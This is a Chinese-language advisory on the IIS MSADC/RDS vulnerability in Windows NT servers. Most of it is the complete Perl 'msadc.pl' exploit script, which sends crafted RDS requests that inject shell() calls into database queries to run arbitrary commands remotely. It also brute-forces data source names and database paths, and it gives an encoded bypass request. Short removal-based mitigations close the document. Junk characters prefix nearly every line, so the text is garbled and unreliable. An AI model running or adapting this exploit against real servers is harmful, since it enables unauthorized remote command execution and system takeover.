IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
57r\s8 qnT:x{o 涉及程序:
@Yt[%tOF+ Microsoft NT server
Lp{l&-uQ =>BT]WK> 描述:
e4?}#6RF 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"h)+fAT|, JbG+ysn 详细:
[%bshaY: 如果你没有时间读详细内容的话,就删除:
%=NqxF>> c:\Program Files\Common Files\System\Msadc\msadcs.dll
u/hD9g~H7K 有关的安全问题就没有了。
AoTL)', Ho\z^w+T` 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
v'Lckw@G4 =I*"vwc? 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
_<5>
E 关于利用ODBC远程漏洞的描述,请参看:
g:OVAA xx41Qw>\W http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
beO*| I-+D+DhRx 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
OZ7MpQ http://www.microsoft.com/security/bulletins/MS99-025faq.asp U[Z1@2zLx ^yBx.GrQc 这里不再论述。
,9q5jOnk eaCEZHr$ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
hp[8.Z$7 "*TnkFTR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=k0l>) 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Y}F+4 ==|//:: \ 4J_18.JHP #将下面这段保存为txt文件,然后: "perl -x 文件名"
h`jtmhoz m#8mU,7 #!perl
Ak|jJ #
jQ`cfE$sV # MSADC/RDS 'usage' (aka exploit) script
gKBcD\F #
S* <:He&1 # by rain.forest.puppy
oBIKtS*L #
!&! sn"yD # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(8{h I # beta test and find errors!
t'7)aJMP 4UG7{[!+ use Socket; use Getopt::Std;
o3%+FWrVTS getopts("e:vd:h:XR", \%args);
'p{>zQ\5 3D%I=p( print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Z=wLNm H "rkP@ja9n if (!defined $args{h} && !defined $args{R}) {
t0hg!_$bq print qq~
, gz:2UY# Usage: msadc.pl -h <host> { -d <delay> -X -v }
=Ermh7, -h <host> = host you want to scan (ip or domain)
x+^iEj`gk -d <seconds> = delay between calls, default 1 second
][#]4_ -X = dump Index Server path table, if available
dZ;csc@xv -v = verbose
C+2*m=r -e = external dictionary file for step 5
O (wt[AEA Vx?a&{3]- Or a -R will resume a command session
.!=2#< M-0BQs`N ~; exit;}
v')T^b
F@ Ue~M.LZb $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|?{Zx&yUw if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?2DYz"/') if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}0qgvw if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#O `nQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b+3{ bE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
T2^@x9 "TG}aS if (!defined $args{R}){ $ret = &has_msadc;
VxaJ[s3PQ& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
kM@8RAxA 2sWM(SN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7pr@aA"vgj . "cmd /c ";
* 496"kU $in=<STDIN>; chomp $in;
3X%>xUI $command="cmd /c " . $in ;
9<,\+}^{ CCQ<.iCU if (defined $args{R}) {&load; exit;}
}0c'hWMZ} ;pS
Wu9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>CNH= &try_btcustmr;
42X[Huy] 2z&HT SI print "\nStep 2: Trying to make our own DSN...";
m!w(Q+*j &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JAc-5e4 \%rX~UhZ= print "\nStep 3: Trying known DSNs...";
9?@M Zh &known_dsn;
-:>Mi5/ s *7DQ#bD print "\nStep 4: Trying known .mdbs...";
zjB8~ku# &known_mdb;
dN;C-XF3s 1;g>?18@ if (defined $args{e}){
BWz*!( print "\nStep 5: Trying dictionary of DSN names...";
-bcm"(<T' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>*k3D& yv]/A<gP+ print "Sorry Charley...maybe next time?\n";
\JN?3}_J exit;
zTm&m#){3A _q+H>1.&9 ##############################################################################
~B|K]&/] -hyY5!rD sub sendraw { # ripped and modded from whisker
AfFFu\ sleep($delay); # it's a DoS on the server! At least on mine...
_Su$oOy(Ea my ($pstr)=@_;
D+#QQH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4GeWo@8h die("Socket problems\n");
-=QA{n if(connect(S,pack "SnA4x8",2,80,$target)){
->$Do$ select(S); $|=1;
SUHyg/|F print $pstr; my @in=<S>;
7s1FJm=Y/ select(STDOUT); close(S);
)t&j0`Yq return @in;
$oe:km1-D } else { die("Can't connect...\n"); }}
`epO/Uu\~u ( *U Mpdj ##############################################################################
>o%.`)Ar c$bb0J% sub make_header { # make the HTTP request
S0,p:Wey my $msadc=<<EOT
b&s"x?
7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Wyw/imr User-Agent: ACTIVEDATA
~Wf&$p<| Host: $ip
VuPa'2 Content-Length: $clen
iO>2#p8$NR Connection: Keep-Alive
+{4ziqYj WEOW6UV( ADCClientVersion:01.06
0,E*9y} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7 S(5\9 ?tV $o,11 --!ADM!ROX!YOUR!WORLD!
9}:%CpD^~I Content-Type: application/x-varg
+*mi%)I Content-Length: $reqlen
z3[
J> |ILj}4ZA7 EOT
\Om.pOz ; $msadc=~s/\n/\r\n/g;
yiWBIJ2Wu9 return $msadc;}
q0SYV $0+AR) ##############################################################################
\l"1Io= e4j:IK> sub make_req { # make the RDS request
R>BnUIu my ($switch, $p1, $p2)=@_;
-5\hZ!!J2 my $req=""; my $t1, $t2, $query, $dsn;
u
@?n3l oZQ%P if ($switch==1){ # this is the btcustmr.mdb query
LlrUJ-uC7 $query="Select * from Customers where City=" . make_shell();
Xg_M{t $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
f{t5r $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
IlN9IF\9L 9l+'V0?` elsif ($switch==2){ # this is general make table query
-}AAA*P $query="create table AZZ (B int, C varchar(10))";
PB(mUD2"r $dsn="$p1";}
wG ua"@IE 4w<U%57 elsif ($switch==3){ # this is general exploit table query
~C\R!DN, $query="select * from AZZ where C=" . make_shell();
,Hlbl}.ls $dsn="$p1";}
m+?$cyA>v 1 }%vZE2 elsif ($switch==4){ # attempt to hork file info from index server
[z5pqd- $query="select path from scope()";
>\+c@o[ $dsn="Provider=MSIDXS;";}
&O/;YGEAB "
;8H;U` elsif ($switch==5){ # bad query
]p:s5Q $query="select";
mG*[5?=r $dsn="$p1";}
F\^9=}b_i ifHQ2Ug9 $t1= make_unicode($query);
#/=s74.b
$t2= make_unicode($dsn);
V\5ZRLawP $req = "\x02\x00\x03\x00";
@A GM=v $req.= "\x08\x00" . pack ("S1", length($t1));
>TK:&V $req.= "\x00\x00" . $t1 ;
\Z{6j&; $req.= "\x08\x00" . pack ("S1", length($t2));
U(4>e! $req.= "\x00\x00" . $t2 ;
[AstD9 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*9Ej fs7L return $req;}
]+@ @{?0 Bvk 8b ##############################################################################
s{#rCc) 7O',X Y sub make_shell { # this makes the shell() statement
8eCC
=Az: return "'|shell(\"$command\")|'";}
UFr
]$m& qRlS^=# ##############################################################################
0<d9al|J e%Rg,dX sub make_unicode { # quick little function to convert to unicode
nd_+g2x' my ($in)=@_; my $out;
\qj4v^\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
HRS^91aK return $out;}
TmZsC5 #&u9z5ywM ##############################################################################
~4IkQ|, l|TiUjs sub rdo_success { # checks for RDO return success (this is kludge)
Q"itV&d, my (@in) = @_; my $base=content_start(@in);
>c
%*:a if($in[$base]=~/multipart\/mixed/){
'M8wjU return 1 if( $in[$base+10]=~/^\x09\x00/ );}
"ld4v+o8l return 0;}
VJviX[V?4 F6^Xi"R[ ##############################################################################
m?G@#[
l .dM4B'OA? sub make_dsn { # this makes a DSN for us
rWsUWA T* my @drives=("c","d","e","f");
v/gxQy+l print "\nMaking DSN: ";
eLPWoQXt foreach $drive (@drives) {
&m<:&h& b print "$drive: ";
zmaf@T my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
m3[R "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
;7=pNK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*L7&P46 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
onqfmQ,3E return 0 if $2 eq "404"; # not found/doesn't exist
.{r 0Szm. if($2 eq "200") {
}^3CG9% foreach $line (@results) {
r I)Y
W0 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.xG3`YH } return 0;}
~nLE?>x|Z XLQt>y) ##############################################################################
ul@G{N{L lqdil l\ sub verify_exists {
<Cv6wC= my ($page)=@_;
p8gm= my @results=sendraw("GET $page HTTP/1.0\n\n");
g}\G@7Q return $results[0];}
B'[FnJ8~ 5AFy6Ab ##############################################################################
,,
S]_S ^phgNzD sub try_btcustmr {
PiQsVk my @drives=("c","d","e","f");
my|]:(_0d my @dirs=("winnt","winnt35","winnt351","win","windows");
.t53+<A -(~OzRfYi foreach $dir (@dirs) {
% )'#
d print "$dir -> "; # fun status so you can see progress
dZMf5=tb foreach $drive (@drives) {
`hpX 97v print "$drive: "; # ditto
<cig^B{nX $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_TLB1T^/4 $reqlenlen=length( "$reqlen" );
ArK%?*`5 $clen= 206 + $reqlenlen + $reqlen;
KNvvYwFH] 0i|z$QRL~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
K9G1>* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ZH<:g6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
oyfY>^bs kz=Ql|@ ##############################################################################
ZRCm'p3 $F&m('aB8
sub odbc_error {
kxvzAKz~ my (@in)=@_; my $base;
Yf&P|Iiw my $base = content_start(@in);
kz30! L if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
};/;L[,G $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L[s7q0 F`l $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z:gp\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"2m (*+ return $in[$base+4].$in[$base+5].$in[$base+6];}
'aV/\a:* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
NQ&\t[R[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
yq7gBkS $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
~(v7:? c2E*A+V#u ##############################################################################
B:X,vE =5l20
Um sub verbose {
\mo NpKf my ($in)=@_;
IJ[r!&PY return if !$verbose;
|^:qJ;dOP print STDOUT "\n$in\n";}
Xg4iH5!E MJ.K,e ##############################################################################
nXRT%[o& Wxeg(L}E sub save {
c;6[lv my ($p1, $p2, $p3, $p4)=@_;
arWP]%E0W open(OUT, ">rds.save") || print "Problem saving parameters...\n";
s^\
*jZ6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
A.YXK%A% close OUT;}
E&z`BPd &hnI0m=X ##############################################################################
KA#P_e{<@ Sdo mG?;kV sub load {
NoAgZ{)) my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
> a?K![R open(IN,"<rds.save") || die("Couldn't open rds.save\n");
y]U]b G{ @p=<IN>; close(IN);
@'AjEl:&-_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_-+xzdGvX $target= inet_aton($ip) || die("inet_aton problems");
+`RQ^9 print "Resuming to $ip ...";
3u,C I! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
_ J t if($p[1]==1) {
4it^-M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Ea,L04K $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'X%5i2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
|43dyJW if (rdo_success(@results)){print "Success!\n";}
VZ3{$0
+ else { print "failed\n"; verbose(odbc_error(@results));}}
% S vfY { elsif ($p[1]==3){
KkJrh@lk if(run_query("$p[3]")){
'W_u1l/ print "Success!\n";} else { print "failed\n"; }}
iVSN>APe elsif ($p[1]==4){
3QF/{$65! if(run_query($drvst . "$p[3]")){
%a\L^w)Xn print "Success!\n"; } else { print "failed\n"; }}
OaH1xZNOC` exit;}
,
RKl +x(~!33[G ##############################################################################
f`W)Z$fN5 7TU(~]Z sub create_table {
Abc%VRsT my ($in)=@_;
)W,.xP $reqlen=length( make_req(2,$in,"") ) - 28;
2 ":W^P $reqlenlen=length( "$reqlen" );
3 BQZ[%0@ $clen= 206 + $reqlenlen + $reqlen;
?se\?q my @results=sendraw(make_header() . make_req(2,$in,""));
zB68% return 1 if rdo_success(@results);
JYw_Z*L=m my $temp= odbc_error(@results); verbose($temp);
b4?]/Uy+/ return 1 if $temp=~/Table 'AZZ' already exists/;
x@LNjlP return 0;}
"tF#]iQQ
u )45#lE3TH ##############################################################################
t6C2DHh7$ GoUsB|-\ sub known_dsn {
[X"pOz # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
YwizA}a# my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
%o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
<p5?yF "banner", "banners", "ads", "ADCDemo", "ADCTest");
4K(oOxc9. +ktubJ@Qgj foreach $dSn (@dsns) {
IzI2w6a print ".";
)R^&u`k next if (!is_access("DSN=$dSn"));
nh'TyUd! if(create_table("DSN=$dSn")){
v$)ZoM6E print "$dSn successful\n";
:B7dxE9[r if(run_query("DSN=$dSn")){
vrq5 +K&|| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+l27y0>t print "Something's borked. Use verbose next time\n";}}} print "\n";}
vq` M]1]FO /g)( ##############################################################################
uA[c$tBe H3>49;` sub is_access {
zL!}YR@&u" my ($in)=@_;
S&J>15oWM` $reqlen=length( make_req(5,$in,"") ) - 28;
evvv&$& $reqlenlen=length( "$reqlen" );
s+<`iH9Hm $clen= 206 + $reqlenlen + $reqlen;
xOt
{Vsv my @results=sendraw(make_header() . make_req(5,$in,""));
[[7=rn}@< my $temp= odbc_error(@results);
3C
gmZ7[ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ty\F~]Oo return 0;}
OPuty/^!Gw S;K5JBX0# ##############################################################################
rbl7-xhC7 nKnQ%R sub run_query {
O|AY2QH\ my ($in)=@_;
=&t]R?
F $reqlen=length( make_req(3,$in,"") ) - 28;
hA=}R.gi $reqlenlen=length( "$reqlen" );
J3QL%# $clen= 206 + $reqlenlen + $reqlen;
i4}+n^oSYo my @results=sendraw(make_header() . make_req(3,$in,""));
9<Ks2W.N return 1 if rdo_success(@results);
~J![Nx/ my $temp= odbc_error(@results); verbose($temp);
mW=9WV return 0;}
eh;L])~C {!&^VXZIT ##############################################################################
!~Ptnr`; z'01V8e sub known_mdb {
q:MSV{k my @drives=("c","d","e","f","g");
k+@,m\tE my @dirs=("winnt","winnt35","winnt351","win","windows");
-q30tO. my $dir, $drive, $mdb;
3}2;*:p4Y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u?rs6A[h# 'Px}#f0IR # this is sparse, because I don't know of many
L\zyBfK} my @sysmdbs=( "\\catroot\\icatalog.mdb",
^AF~k#R "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4TRF -f "\\system32\\certmdb.mdb",
.
e_VPKF| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
s4`,Z*H :MihVL F my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~%L=<TBAc "\\cfusion\\cfapps\\forums\\forums_.mdb",
tx7B?/5D "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{BY(zsl "\\cfusion\\cfapps\\security\\realm_.mdb",
%n^ugm0B "\\cfusion\\cfapps\\security\\data\\realm.mdb",
: G'a"%x "\\cfusion\\database\\cfexamples.mdb",
LeV";=_n "\\cfusion\\database\\cfsnippets.mdb",
7/zaf "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Hxx]q+DAS "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\SN>Yy "\\cfusion\\brighttiger\\database\\cleam.mdb",
\Mzr[dI "\\cfusion\\database\\smpolicy.mdb",
N4l}5(e "\\cfusion\\database\cypress.mdb",
aTwBRm "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
muMd9\p "\\website\\cgi-win\\dbsample.mdb",
qVssw* GDB "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
88KQ) NU "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^c]c`w ); #these are just
9qkJ< foreach $drive (@drives) {
g(C/J9J foreach $dir (@dirs){
K5HzA1^ foreach $mdb (@sysmdbs) {
H`s[=Y,m print ".";
ws<pBC,m if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.*B@1q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
E[Q2ZqhgbP if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
wGw<z[:f print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
op($+Q } else { print "Something's borked. Use verbose next time\n"; }}}}}
VCzb[. G
2`hEX% foreach $drive (@drives) {
++ZP
X'| foreach $mdb (@mdbs) {
9-Z? print ".";
7Ue&y8Yf if(create_table($drv . $drive . $dir . $mdb)){
w7c0jIf{ print "\n" . $drive . $dir . $mdb . " successful\n";
XS$#\UQ if(run_query($drv . $drive . $dir . $mdb)){
:_|Xr'n`A print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
ojyP.R } else { print "Something's borked. Use verbose next time\n"; }}}}
D63?f\ }
Z*n4$?%W -/:!AxIH ##############################################################################
NiYT%K% 5<M$ XT sub hork_idx {
\dbaY: ( print "\nAttempting to dump Index Server tables...\n";
d;nk>6<| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
RI<&cgWn+< $reqlen=length( make_req(4,"","") ) - 28;
R*?!xDJ $reqlenlen=length( "$reqlen" );
^Y%<$IFG $clen= 206 + $reqlenlen + $reqlen;
6_&S
?yA my @results=sendraw2(make_header() . make_req(4,"",""));
vdh[%T,& if (rdo_success(@results)){
V4&a+MJ@ my $max=@results; my $c; my %d;
=zTpDL for($c=19; $c<$max; $c++){
|]~], $results[$c]=~s/\x00//g;
mQ9y{}t=4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
LrT?
]o $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ZH<qidpR $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Qxfds`4V9i $d{"$1$2"}="";}
55ft,a foreach $c (keys %d){ print "$c\n"; }
A2!pbeG } else {print "Index server doesn't seem to be installed.\n"; }}
{55f{5y3
c H<tU[U=G ##############################################################################
"xNP"S i91k0q*di sub dsn_dict {
6tGF open(IN, "<$args{e}") || die("Can't open external dictionary\n");
yg6o#; while(<IN>){
wq|7sk{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&dPI<HlM next if (!is_access("DSN=$dSn"));
oIniy{ if(create_table("DSN=$dSn")){
p
+nh] print "$dSn successful\n";
U02 if(run_query("DSN=$dSn")){
FOhq&\nkU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qDcoccEf print "Something's borked. Use verbose next time\n";}}}
3
}3C*w+ print "\n"; close(IN);}
8|nc($}~ x`Wb9[u8 ##############################################################################
&Ez+4.srkh Fkg%_v$ sub sendraw2 { # ripped and modded from whisker
^Rtxef sleep($delay); # it's a DoS on the server! At least on mine...
IBUFXzl my ($pstr)=@_;
h;@>E:4Tg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@yj~5Gf(j die("Socket problems\n");
P$]K if(connect(S,pack "SnA4x8",2,80,$target)){
\;iOQqv0& print "Connected. Getting data";
p(cnSvg open(OUT,">raw.out"); my @in;
E:-~SH} select(S); $|=1; print $pstr;
S|T_<FCY while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
w}s5=>QG% close(OUT); select(STDOUT); close(S); return @in;
&?TXsxf1Zh } else { die("Can't connect...\n"); }}
jxZf,]>T "Th;YJu ##############################################################################
m.<or?l'y> j{johV+`8 sub content_start { # this will take in the server headers
%<r}V<OeR my (@in)=@_; my $c;
<m0=bm{j for ($c=1;$c<500;$c++) {
E@6gTx* if($in[$c] =~/^\x0d\x0a/){
W*?qOq
{ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3dJiu else { return $c+1; }}}
)3O#T$h return -1;} # it should never get here actually
1]Cdfj6@ z "z ##############################################################################
T`,G57-5 vY"I sub funky {
'blMwD{0&\ my (@in)=@_; my $error=odbc_error(@in);
EPA
2_ if($error=~/ADO could not find the specified provider/){
mwMu1# print "\nServer returned an ADO miscofiguration message\nAborting.\n";
4`ZoAr-5| exit;}
WJI}~/z;C if($error=~/A Handler is required/){
)L7[;(gQ print "\nServer has custom handler filters (they most likely are patched)\n";
@
'c(q=K; exit;}
2jlz#Sk if($error=~/specified Handler has denied Access/){
;$8ptB . print "\nServer has custom handler filters (they most likely are patched)\n";
-d thY(8 exit;}}
9g#
62oIg b~B'FD ##############################################################################
k!G{#(++&6 /q8B | (U sub has_msadc {
?NvE9+n my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0:-z+`RHE my $base=content_start(@results);
).0p\.W~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
K7C!ZXw~ return 0;}
K4o']{:U LK!sk5/ ########################
(pHJEY 0 d+b<J, _
nz^+ 解决方案:
neE
Zw#(Z 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X]n`YF7 2、移除web 目录: /msadc